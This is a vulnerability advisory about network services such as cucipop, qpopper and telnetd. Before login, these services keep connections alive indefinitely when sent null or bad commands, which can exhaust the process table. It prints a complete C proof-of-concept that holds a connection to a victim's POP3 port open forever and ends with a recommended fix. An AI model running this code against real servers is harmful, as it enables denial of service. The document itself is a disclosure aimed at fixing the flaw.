COMMAND
tcp/ip (qpopper, in.pop3, cucipop, telnetd, ...)
SYSTEMS AFFECTED
Linux, FreeBSD, Solaris, ...
PROBLEM
Following is based on KKI Security Team Advisory. Problem was
found by Lukasz Luzar. The designers of many popular network
services are trying to make the mechanisms which should prevents
from maintaining the parasitize connections to their programs.
The exercise of such protection is timeout, which closes inactive
connections. But some of those designers forgets that some
malicious guys may often and fraquently send strings full of bad
or null commands to the open port of the service. Such situation
might happen before login/password authentication of the
connection. Those programmers should implement additional
mechanisms to prevent such situations.
Lack of this mechanism may be quite threateing, because most of
that tcp services are working with root privilages, and the bounds
of amount of root proceses isn't easy, when the service has no
internal bound. That affects whole system, when proccess table is
fulfiled for example by multiply open connections to the
vulnerable tcp service. Worst situation is, when vulnerable
service doesn't logs any information about connection before
authentication with login/password. One of this most vulnerable
services is cucipop.
Below example shows how to open and maintain the connection, which
might state open by undefined time.
/*
* example.c by Lukasz Luzar (lluzar@security.kki.pl)
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* victim's address and port of service */
#define ADDR "10.0.0.1" //IP in dot natation
#define PORT 110 //e.g. some pop3
#define DELAY 4 //(4 secs.) how often we are sending bad commands
#define COMMAND "\n" //some bad (or null) command
void main()
{
int sockfd,
j,k;
struct sockaddr_in victim_addr;
bzero((char *) &victim_addr, sizeof( victim_addr));
victim_addr.sin_family = AF_INET;
victim_addr.sin_addr.s_addr = inet_addr( ADDR);
victim_addr.sin_port = htons( PORT);
if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0)
fprintf( stderr, "socket error\n");
if( connect( sockfd,(struct sockaddr*) &victim_addr,
sizeof( victim_addr)) < 0)
fprintf( stderr,"connect error\n");
k = 1;
if( setsockopt( sockfd,IPPROTO_TCP,TCP_NODELAY,&k,sizeof( k)) != 0)
fprintf( stderr,"setsockopt error\n");
j = strlen( COMMAND);
for(;;) {
if( write( sockfd,COMMAND,j) == -1)
fprintf( stderr,"write error\n");
fprintf( stderr,".");
sleep( DELAY);
}
}
SOLUTION
Good solution is to put counter of bad (or null) commands inside
the program. For example, the similiar mechanism has been applied
in sendmail. This soluition is effective and very easy to
implement.